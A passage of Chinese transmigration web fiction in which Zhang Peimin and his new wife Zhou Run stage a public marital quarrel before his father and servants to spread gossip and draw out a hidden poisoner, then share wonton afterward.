张立勋颇有一股要将生米煮成熟饭的架势,心中想着反正都入洞房了,要是张沛民执意要和周润干一架,大不了就从今往后当一对貌合神离的夫妻。他从一开始也没指望周润能既来之则安之,他只希望能沾沾喜气给小儿子续命。
出乎意料的,昨晚竟然完全没有动静。
张立勋开始有些怀疑是不是张沛民一个手刀就把周润劈晕给丢到一旁。
他还在想着,门外守着的江满满就看到两个往这边慢慢挪动的人影,屁颠屁颠就往屋内报信。
“老爷,二少爷和二夫人来了。”
屋内还在一旁清扫着东西的几个仆人都躲到了后院,只留下张立勋、喜婆以及李东三人在此地。
“父亲好。”
二人同时出声。
“好,好。”
喜婆十分有眼力见地帮着张立勋继续这个流程,开口道,
“诶呀,两位新婚如胶似漆。现在跪下来给老爷敬一杯茶,二夫人拿了改口费,以后就是张家的人了。二少爷拿了红包,就是一个新的身份了。来来来。”
喜婆将莆田踢到了二人的脚下,左右手还分别攥着一个茶杯,脸上挂着公式化的笑容暗示着张、周赶紧跪下来。
张立勋有些担心张沛民的身体,开口阻止道,
“站着敬茶就好,没必要拘泥于形式。”
他也不能明说张沛民的身体不好,只能随意撤了个借口来用。
张沛民听到张父这么讲,适时地用袖子掩住口鼻装起咳嗽来。
喜婆看看张沛民,又看看张立勋。
张老爷都这么发话了,她就是个被雇佣过来走程序的喜婆,哪有什么话语权。她脸上笑容依旧不减,依旧拿着两个茶杯赔笑道,
“对,对,张老爷说的对。二少爷和二夫人站着敬茶就可以。”,喜婆将茶杯递到二人手中。
张沛民接过茶杯后却面色一转,假装漫不经心地开口,
“我可以不跪,但周润得跪。她可不是张家的人。”
“……”
喜婆的手都还没收回来,就被张沛民这番话惊得口中还未来得及说出的吉祥话都卡在嘴边。
哈哈……
怎么刚才还好好的,现在就突然发难。
喜婆忽然想起来张家这桩婚事在京中高价应聘喜婆,她还纳闷怎么这么赚钱的工作会没人接,张家的那个李东一个个问过去,个个喜婆都一味地说自己最近没空,来不及什么的。
等到她接下来这单后,周围那几个还如释重负长舒一口气,让她好好加油的。
当时还想着张家二少爷草包之名在外,但结婚可是人生大事,应当是做不出什么惊天动地的蠢事来。等到她胆颤心惊地操办完一切后,还想着终于逃过一劫。
原来是在这里等着。
周润倒没什么表情,但也没有顺着张沛民的话顺从地跪下来。
张立勋哪里不知道张沛民这是说给自己听,就是在告诉自己他要当着这些人的面将周润给逼回娘家。
多一事不如少一事。
张立勋见二人依旧僵硬在原地,直接伸手将周润手中拿着的茶杯夺了过来,轻轻地抿了一口杯中茶水,开口道,
“这杯茶真好喝啊。来,小润,这是我给你的红包,收好。”
张立勋还想如火炮制,伸手将张沛民的茶杯也一同抢过来,赶紧以这种主动、粗暴的方式结束这个尴尬的敬茶,张沛民就手疾眼快地将手收了回来,道,
“父亲,你认这个儿媳,我可不认这个娘子。”
说着,就一手将杯子丢到了蒲团上。
它以一个诡异的姿势降落在蒲团上,杯子内的茶水尽数倒在地面。
喜婆看着眼前这个突发横生的状况,终于回过神来。
她急忙赶到张沛民和张立勋的中间,将杯子捡起来,打圆场道,
“没事,没事。落地开花,富贵荣华。想必二公子刚才应当是手滑了,我这就给你重新沏一杯茶。”
喜婆拿着杯子就开溜。
“不必了,我是故意的。”
张沛民出声喝止喜婆的动作。<
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p>周润盯着张沛民,艳红的嘴唇吐不出一个字。
今日她头发并没有用发簪挽起来,而是随性地用一条深红色的发带束起来。不像是温婉顾家的妇女,倒像是画本里面修炼剑术的无情师姐。这一套装扮搭配起张沛民的一身水蓝色的薄纱,看起来有些登对。
张沛民不管周润的眼神,继续开口道,
“你昨日那番话能说出口,就注定今日结局。”
“我那番话?呵呵,我就是劝说你回去朝廷,谋个一官半职也好,总比你现在在家中依靠着你的父亲和兄长过活。张沛民,你变了很多。以前你虽然是纨绔子弟,可你早就改了。自坠湖后连以前仅有的一点上进心都没有了,终日就在家中吃喝玩乐。我让你继续当官也是为了你好。”
“为了我好?你这顶帽子也太大了吧,我可无福消受。若不是两情相悦,我才不会将你娶回家中,给自己徒增烦恼!”
张沛民向周润挑了挑眉,她心中了然,用指甲狠狠掐了一下手背,眼中瞬间充盈泪水。
“若不是两情相悦,我也不至于劝说父亲多日,舍弃周家小姐的头衔嫁给你这个名副其实的草包!”
说罢,周润从袖口中掏出了那把匕首,指着张沛民道,
“你今日存心让我下不来台。既然你不想父亲认我这个儿媳妇,我今日就在府内自尽。我生是你的人,死也是你的鬼。”
这把匕首闪着冷冽的寒光,张立勋只需一眼就认出来,那是他从剑冢中挑选的一把利刃。
张昭民和张沛民一人一把,用于护身。
他有些头痛地捏了捏额角,想不到张沛民居然只花了一晚就说服周家大小姐陪他演这出大戏。
张沛民和周润还在继续,有些拙劣的演技却能够把李东等人唬得一愣一愣。
“你若是敢,就不会等到今日才来威胁我。”
“你究竟何时回朝廷复命。”
周润往前走了几步,步步逼近。
“我只是希望你能上进。可昨日你的桩桩件件无不在向我展示你的愚钝。”
“我或许真的应当给你寻一个差事,免得你每日就盯着我指指点点。”
匕首指着张沛民,周润面若冰霜地看着他,表情更多的却是无奈与愤懑。
他没有被周润歇斯底里的态度吓到,然而十分冷静地看着对方的动作。
“你不是想知道为何吗?我今日就告诉你。自从我坠湖后,死里逃生,我才知道人生的真谛应当是自己。我为了科举头悬梁锥刺股三年,为了天下人民殚精竭虑两年。我距离做出实绩还有十万八千里。可偏偏,我就这样摔了进湖,落下病根。泽姝,你略懂医术,也应当知道我的脉象蕴藏什么信息。”
张沛民一边说着,一边往前迈出三步,将周润手中颤颤巍巍握着的匕首夺了下来,道,
“你不能因为一己私欲,断然不顾我的身体。”
周润一个弱质女流,在周家从来都没有杀过一只鸡,握菜刀的手法十分生疏,更别提拿着匕首威胁他人了。
他不费吹灰之力就将局势逆转,周润无力地倒在蒲团上。
9. 大戏结束
张沛民将匕首在自己的衣袍上蹭了蹭,重新收入自己的袖口中。周润看着他的动作,得到了下一步的信号。
刚才张沛民的动作不算重,周润往后退的动作里面还夹杂着一些夸张的成分。
于是乎,她以一个楚楚可怜的姿态斜倒在蒲团上,用发带束起来的长发因为激烈的动作散开来,看起来不是新婚第二天意气风发的夫人,而是受尽了委屈而怨恨十足的疯婆子。
周润用手捋干净面上的碎发,平地一声雷,开口道,
“你知道我略懂医术,却不知我师从何人。周家小姐虽不曾跟随大流上私塾,但父亲会给我们几位姐妹请教书先生到家中教学。除了四书五经外,我还曾跟着府内的郎中学习过医术。正巧,这位郎中年幼时在药王谷修炼医术,各种疑难杂症都不在话下。你的脉象表面上杂乱无章,病入膏肓,可暗藏其中的则是稳健的脉象。”
张沛民听到周润的这番话,面上的神色僵住,丝毫没有刚才胜券在握的样子。
周润盯着他的脸色,忽然间释怀大笑。
喜婆看着面前疯癫的二人,登时明白过来刚才周润口中吐出的是何等可怕的真相。
她如果不想个办法逃离,指不定今天都不能够完整地拿着钱财离开张府。
她根本不想听这些京城秘辛啊。
他面上有些挂不住,想要制止住周润,让她不要继续口出狂言。在屋内环视一圈后,他怒吼出声,
“看什么看!无关的人给我滚出去。”
李东和喜婆被刚才的这个场景吓得连呼吸都放轻了不少,骤然听到张沛民开口让他们滚出去,面上也没有尴尬的表情,而是立马就往外跑,顺便还把门给带上。
如果只是二少爷和二夫人吵架过过嘴瘾,那他们顶多就装一下木头就能躲过去。直到周润从袖口中掏出了一把匕首,他们这些无关人员就恨不得脚上踩着风火轮立马掀翻屋顶逃跑。
万一二夫人舍不得让二少爷见血怎么办?
那就是要让他们这些下人见血啊!
随便吧。
还不如被二夫人一不小心捅一刀呢。
这样李东/喜婆就可以有个借口拖着对方离开。至少可以敢在周润丢出这枚重磅炸弹之前滚出去。
欸。
他们现在无比希望周润和张沛民吵完这一架就算了,可千万不要来个秋后算账什么的。
“我不知道你用了什么手段骗过数十位大夫。可能是你的脉象确实具有迷惑性,也可能是你用钱收买了他们。但从始至终,你身上的病症并非绝症,稍加补品调理就能恢复完全。”
张沛民的脸色更臭了几分,作视就要从袖口掏出刚才收好的匕首出来,威胁周润闭嘴。
周润并不犯怵,开口阻止道,
“你也无需掏出那把匕首威胁我了。我拿在手中的时候无法威胁你,你拿在手中的时候也同样无法威胁我。”
她转头看向张立勋,嘴里的话虽然看起来是说给张沛民听,但其中的内涵更像是在暗示张立勋什么。
“身体抱恙也只是你的借口,张家不缺钱,再孱弱的身子也能够被一株天山雪莲治好。全京城又有谁不知道张宰相心系天下,立功有赏,得到了圣上赏赐的十株天山雪莲。就当作是一天一片天山雪莲,这段日子吞下肚的大补之物也只会多不会少,什么病都该治好。你分明就是好逸恶劳,当草包当上瘾了。”
周润的情绪越来越激动,心中喷涌着大仇得报的疯狂。
张沛民听着周润因为兴奋而扭曲的强调更加不是滋味。他看了看周润,又看了看坐在凳子上的张立勋,不知道对方究竟听进去了多少。
但他知道,如果任由周润说下去,就算再怎么自证也无济于事。
张沛民嘴角抽动,伸手把一旁的茶杯拿过来,砸到了周润的身旁。
砰。
碎开的瓷片四散,给周润的手背增加了一丝血痕。
不痛。
但忽然让周润冷静了下来。
李东等若干人被屋内的动静吓了一大跳,吓得完全不敢做那只出头鸟,进门把二人隔开。
胆子小点的侍从已经一人一个扫把跑去后院假装干活,生怕里面的三个人等会争吵起来之后就开始砸碗拼刺刀,祸及他们。
喜婆手上标志性的大葵扇也不摇动了,她跟着李东把耳朵贴在门上,听着屋内的动静,时不时还得用手帕擦一擦额头冒出的冷汗。
要不是张立勋的尾款还没有结给喜婆,她才不管周润和张沛民今天是大吵一架还是在主厅那里砸锅打墙,就算他们把张府拆了都不关她事。
李东的想法和喜婆大同小异,不过他更担心二少爷和二夫人在里面这么闹一通,会不会被府内一些好事之人传出去,惹来是非;再不然就是把张立勋给硬生生气出一个心脏病。
欸。
二人听着屋内的动静,一同叹了口气。
怎么昨日看起来还好好的,今日就水火不容。
李东和喜婆的偷听姿势并不算隐秘,脑袋的影子都被外面的阳光投射到门上,若隐若现。
张沛民哪里会不知道就算把所有的侍从都赶出去,他们也会在门口窥探着内里的情形。一方面估计是怕他们越闹越凶,在外面听着还能及时进来打断二人的情绪,一方面,也是想着八卦一下。
他要的就是这个情况。
李东不好说,但喜婆是张立勋从外面聘请回来的,嘴上肯定上不了多严密的锁。估计今天觉得自己劫后余生,明天拿着那把大葵扇就坐在借口跟同行的人将张家的事情抖出去大半。
等事情传遍京城发酵起来,刷新一下自己的存在感,就有办法重新回到朝廷中了。
“李东,夫人想吃城北刘记的馄饨,你带着喜婆一起去买。”
“好的,二少爷。”
李东说罢就拖着喜婆离开。
张沛民盯着门上的倒影,确信门外偷听的人已经听到了他们需要知道的事情,并且已经被支走后,重新换了一幅神情。
他伸手将周润从地上拽了起来。发现周润被划伤手背后,他便在怀中掏出了一方手帕交由周润止血。
张立勋看着面前骤然平静下来,还一反常态互帮互助的二人,哪能猜不到刚才这一出戏是演给谁看的。
“你们两个,把人都支走了,也该说有什么目的了吧。”
他双手环抱在胸前,审视着面前的两个金像奖主角。
“我倒是小看了你,竟然只花了一晚就能说服周家小姐陪你演这出闹剧。给,该
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拿的红包、该走的形式还是不能不干的。”
张沛民接过张父手中的红包,面带狡黠道,
“我就知道父亲一定会知道我的目的。娘子方才所说的话真假参半,但她的的确确精通医术。昨夜她给我把脉诊断了一番,我身上的病症并非无药可救。只需定期服药便可治愈。”
他转头向周润打了个眼色,示意她接着话语说下去。
“没错。这张药方的药材并不罕见,沛民很快便能痊愈。”
“哈哈哈哈。好!好!”
张立勋爽朗地笑出了声。
没想到啊,没想到。
半个月前他还以为张沛民应当是九死一生了。
连续十来个郎中都说他这个小儿子的脉象杂乱无章,是死脉,无药可救。
如果他知道是谁想要将张沛民置诸死地,暗中下毒谋害,就算是耗尽家财,甚至是告老还乡,他也会跪下来求上一颗解药。
这人却从未出现过。
张立勋还能不懂吗。
暗处的这个人是未曾打算让张沛民活着回到朝廷。
既然找不到解药,也找不到能解决的郎中,张沛民,也就是死路一条。
张立勋虽然不得不信,心中还是残存着一丝念想。
既然被逼到了墙角,最后就想着干脆给
但还是做出最后一番挣扎,想着给小儿子办一门婚事冲喜。
没成想误打误撞之下给张沛民寻来了一个隐世高人的徒弟。
有周润和张沛民这句话,张立勋是对张沛民能痊愈深信不疑。
张沛民见父亲就这样轻易被说服,如同计划里一样,舔了舔嘴唇便继续道,
“今天我和娘子演这出戏,是为了重回朝廷。躲藏在暗处下毒之人,我至今没有头绪,实在是不敢轻举妄动,就怕过大的动作会再次招来嫉妒,惹祸上身。所以,我就借着今天这个机会,假意与周家闹掰,再散播出去我无意回到朝廷之中。一来,就是想让这人放松警惕,误以为我无心回到朝廷中。二来,我痊愈的消息也能将他引出来。到时候不就是瓮中捉鳖。”
“你这样冒险,为何不直接让我在朝廷上直接禀报。圣上也是个爱才惜才之人,他若知道你有心重回职位,必定不会多加阻挠。”
为何?
自然是得将幕后之人抓出来。
张沛民拿不准穿越局最后的决定,不过应当也是能够让他重返现实世界。
他一旦离开,原身的灵魂应该就会回到张沛民这具身体上。原身只是一个纨绔子弟,哪里能够应对这样的场景。
恐怕最后是他惹的祸,最后就让张立勋和张昭民承受后果。
再者。
这也是缓兵之计。
丽朝民风开放,女子却还未能入朝为官。
0056昨晚的那番话虽然含糊,张沛民也还是能读出个中深意。
如果穿越局真的有方法让他重新接入系统,就不至于让他在这里流浪多时,直到周润做任务来到这里才被重新遇见。
系统不在他身边伴随左右,出谋划策,难保会在朝廷上出洋相。
事已至此,他也只能暂时胡诌一个理由拖着张立勋。
“父亲,你放心,我心中早已有打算”
10. 去给我买碗馄饨
“好。”
张立勋看着对方饶有自信的脸庞,也别无他法,只能答应了下来。
很多人会认为张立勋过往的经历,必定会造就一个事事不妥协的性格。可事实确实相反,他对于世间的种种总是秉承着不强求的风格。
既然张沛民要做,那大胆放手让他去做就好了,自己在背后出谋划策也有可能会起到反作用。
表面上看着张立勋这个右相光鲜亮丽,茶馆里面的话本也爱将其写成一个权倾朝野的人臣,可实际上他更像是一个树大招风的箭靶。
若要为人民,那就不能够成为一个随风飘摇的墙头草,也不能够成为任一党派忠诚的利剑。
可若要在各个党派斗争中骑墙中立,那便有可能会被各个党派拉拢,若是拉拢不来,那便是党派之间合作起来,将他拉下马。
张立勋是草根出身,一朝逆袭夺了个探花郎的名头入朝为官。而一同共事的官员呢?不是自小在京城私塾中饱读诗书,就是朝中有人好办事的后代。
他又如何能比。
承蒙圣上的喜爱以及自己出色的才智,他这样突兀的人才能够站稳脚跟,甚至步步高升成为右相。
就这样,朝中各方拉扯之下居然就随着张立勋的上位达到了一个诡异的平衡。
当然,也只是表面上的平衡。
直到张昭民被迫自请离京,他才有些后知后觉意识到,到底有多少人在觊觎着他的位置,又有多少人在虚伪与蛇。
这番醒悟却为时已晚,小儿子张沛民早就入朝为官了。
他每日战战兢兢在皇宫与张府之间往返,心中无比担忧张沛民的未来。
张立勋又如何不知道,自己能够爬到今时今日这个位置,是不会轻易被拉下来的。
那又能如何压制他的气焰呢。
他两个儿子就是最好的答案。
如果,
当年的张沛民并没有被自己抓回家絮絮叨叨上数年,
是否他还能当一个无忧无虑的纨绔子弟,
是否就不会被牵扯进朝中的各种事务中,
是否就不会身重剧毒。
张立勋对张昭民、张沛民始终有些许愧疚。
己之蜜糖、彼之砒霜。
强加于他人身上的自我意志又如何能保证永远的正确性。
“你们二人……往后每一步都必须谨慎,小心。”
他轻叹了口气,妥协道。
张沛民双手握拳,谢过张父的同意。
周润看着面前父慈子孝的场景,不由得感慨果然是在丽朝浸润五年的影帝,就算没有系统的帮助也能够把握住每个人的性格,定制出一个专门的“杀猪盘”。
至少目前来说,张家对于张沛民重返朝廷的阻挠可以说是约等于无。就算他们是直接套上朝服杀去早朝,抑或是用什么迂回的方式曲线救国,张家这边肯定是由着二人胡来了。
至于周家?
周润就说不准了。
现在0056还在总部那里开会,她对于周家的印象也就是想要她拿着金银珠宝去私奔的周母,还有那个铁了心要自己嫁来张家履约的周文安。
说来也是头痛,周家那边能把原身嫁过来,肯定也是想要把原身当作牺牲品。周文安一分钱的嫁妆都不出,就暗戳戳将周润从周家切割出去。
助力肯定是不会有的了,阻碍或许不会有。
欸。
怎么自己还没出新手村呢,就被穿越局火急火燎地安排上一些终极Boss任务。
也不知道李东这家伙是怎么样掐准点回来的。
张氏父子这头才结束掉刚才那个不可说的话题,那头李东就提着两碗城北的馄饨回到了府中。
“老爷,二少爷,二夫人,城北的馄饨已经带回来了。”
骤然提高的声量让屋内的三人都警惕起来。
李东果真是个人精,突如其来的一嗓子让里面的人还有些缓冲的时间。
周润斜眼看了张沛民一下,二人对上眼神后便又开始刚才没有做完的那场戏。
“呜呜呜……”
周润用手指给手臂来上了几道指甲痕,硬生生在干涩的眼眶中逼出几滴泪水。
她又重新倒回了蒲团上,扮演出一副娇娇弱弱惹人怜爱的模样。
张沛民则站在方才的位置,右腿不自觉地抖动着,十分不耐烦的样子。
李东从刚才进府邸就开始喊着自己的行径,如今携着喜婆慢慢悠悠,往前三步又倒退两步的速度到了主厅紧闭的门口后,再次开口道,
“二少爷,二少爷。城北的馄饨已经带回来了。”
张沛民黑着脸,从牙缝中挤出了一句话,
“你进来收拾收拾,我和周夫人回房间休息一会儿。”
说罢,他一脚踹开木门,在喜婆和李东的注视下往后狠狠剜了周润一眼,丢下一句,
“跟我回去。”,
就从李东的手里拿过那两碗热气腾腾的馄饨。
周润“嗯”的一声,慢吞吞地避开地上散落的瓷片,把身子从地上支了起来。
她的眼角有没干的泪痕,猩红的眼睛时刻在向别人诉说着方才的委屈。
很可惜,李东并不是那个能够伸出援手的人。他平日就不会插入府中的争吵,更别提今日是二少爷和二夫人之间的口角。
宁拆十座庙,莫毁一桩婚。
他继续保持着眼观鼻、鼻观心的低头模样,等着周润从主厅里面出去。
今天二少爷和二夫人在府内大吵一架的事情肯定会在京中不翼而飞的,喜婆这个大嘴巴本来就守不住什么秘密。更何况这也不太算秘密,老爷也没有让他拿着钱财去威逼利诱喜婆。
还有江满满这种又蠢又聪明的自以为是一类人在府中呢。指不定出府采买的时候就能将这件事情也会添油加醋一番给抖出去。
直到周润擦着李东的身子出了门口,跟随张沛民的脚步往房间那里挪动,大气都不敢出的李东才勉强吐出口中的浊气。
呼。
又是活久见的一天。
————————
周润低眉顺眼的模样支撑不了多久,面上撇着的嘴角都快僵硬了。她抬手搓了搓自己的嘴角,还时不时地抬起头来环绕四周,看看附近到底有什么人在盯着他们两个。
也不知道0056会不会检测他们OOC的指标。
周润腹诽道,“也不知道原身是个什么性格。万一系统要我天天在别人面前装大家闺秀、逆来顺受的样子,凭借着我这稀巴烂的演技,恐怕还没有完成一个任务就又倒欠0056一百积分。”
她着实是没想明白,怎么张沛民脑子这么灵光。不仅能调动张立勋和李东那群仆人的情绪,在其中斡旋;还能够操着个精湛的演技在丽朝当个能屈能伸的戏精。
队友太
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强大而我太拉跨了怎么办。
周润认为,他是时候得正视一下这个任务的难度了。
在她又一次抬头,确认身边并无他人后,周润就赶紧让她过于拙劣的演技下线,神色恢复如常,疾步赶上张沛民。
屋内,两碗依旧热腾的馄饨在桌面上摆着。
周润支着脑袋,双眼泛出饥饿又残忍的目光,恨不得将面前两碗馄饨都吞入肚中。
她不是超人,折腾了一天多婚嫁的礼仪,今天才刚睡醒就被张府的管家催促着去敬茶。
她心中的小九九啊,原本还打算借着张沛民的名号让厨房给她开个小灶煮点东西吃,垫垫肚子的。
现在好了,还没借名号呢,二少爷和二夫人就在府内彻彻底底地闹掰了。
别说抓个下人过来去让厨房开小灶了,她能在路上遇到没有眼观鼻鼻观心的人都算走运了。
那能怎么办。
个个人都怕自己被二少爷、二夫人拿来当出气筒呢,在他们和好之前,估计都会一直像池塘里面见到人影的金鱼,一靠近就逃跑了。
周润按了按自己疯狂叫嚣的肚子,又看了看还在一旁双目放空不知道在想什么的张沛民。
既然张沛民能指名道姓让李东去城北买这碗馄饨,应当是没有别的含义,只是为了支开对方吧。
那这碗馄饨放在自己面前,他就没有不让自己吃的道理。
“你说,这馄饨能吃吗?”
“?”
张沛民被周润突如其来的发问拉回了现实,抬眸就看到对方的脸庞隐没在两碗馄饨散发出来的热气当中。
他看不真切周润的表情,便伸手拨散眼前的雾气,想要看清楚她是不是被什么东西上身了。
不然她怎么忽然问出这种奇怪的问题。
周润把靠近自己面前的那一碗拉到了面前,无视了张沛民奇怪的眼神审视,继续自顾自地开口给吃馄饨的动作打一个合理的借口,
“这馄饨真得好馄饨哦,不知道会不会有人浑水摸鱼在其中下毒。不如让我先来试试毒?”
张沛民哪能听不出周润口中迂回的请求,当即从装馄饨的篮子中掏出了两个勺子分别放入碗中,并将其中一碗推到了她的面前。
“吃吧,肯定是没毒的。我实在是没想起来你这几日都没怎么吃东西,等会儿我去找李东,让厨房炒点菜过来。”
“哈哈……无所谓啦,现在能吃上就行了。”
周润也不客气,接过勺子就开始顺着碗边吃起来。
丽朝的馄饨竟然和现代的没差多少,至少和她印象中的样子没有多少区别。
碗中漂浮着的蛋皮与紫菜围绕在白净的馄饨身旁,起起落落的动作一直在向周润展示着它的美味。
张看着面前大快朵颐的周润,也开始感觉到自己的肚子在打鼓。他将另外一碗馄饨放到自己面前,用勺子舀起一颗尾部四散开来,如同金鱼尾巴的猪肉馅馄饨放到了口中。
这已经是张沛民第128次吃城北的馄饨。
味道也和前面的127次如出一辙,让他久久不能忘怀。
好奇怪。
明明丽朝与海外交流不算发达,各种香辛料也还未传入内陆。可这碗馄饨的味道与校门口的那家沙*小吃的味道相差无几。
过往他还带着系统过去店内探查一番,还以为自己能够“异乡遇老乡”,谁知只是超越时空的发现。